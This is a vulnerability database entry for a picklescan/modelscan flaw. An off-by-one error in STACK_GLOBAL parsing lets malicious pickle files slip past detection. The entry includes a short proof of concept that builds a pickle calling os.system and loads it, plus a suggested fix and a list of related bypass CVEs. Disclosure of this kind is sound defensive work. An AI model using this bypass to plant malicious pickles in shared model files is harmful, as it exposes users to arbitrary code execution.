CVE-2025-71325: Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
Details There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACKGLOBAL. Function listglobals when handling STACKGLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1.
Published Aug 12, 2025 · Updated Jun 18, 2026
Affected packages
picklescan
- Ecosystem
- PyPI
- Affected
- < 0.0.27
- Fixed in
- 0.0.27
- Check
pip show picklescan
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
6: S STRING 'system' --> arg 1: STRING (tracked argument)
16: \x93 STACK_GLOBAL
17: S STRING 'ls'
23: \x85 TUPLE1
24: R REDUCE
25: . STOPPoC
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
Credited to Lyutoon.
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr
- https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688
- https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
- https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27
- https://nvd.nist.gov/vuln/detail/CVE-2025-71325
- https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw
- https://github.com/advisories/GHSA-9gvj-pp9x-gcfr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-3490
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
critical10.0Mar 3, 2026CVE-2026-53873
PickleScan's profile.run blocklist mismatch allows exec() bypass
critical9.8Mar 3, 2026CVE-2026-56315
PickleScan has multiple stdlib modules with direct RCE not in blocklist
critical9.8Mar 3, 2026CVE-2026-53875
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
high7.1Feb 18, 2026CVE-2026-53874
picklescan missing detection by simple obfuscation of a `builtins.eval` call
high8.9Feb 2, 2026GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
medium5.5Feb 2, 2026
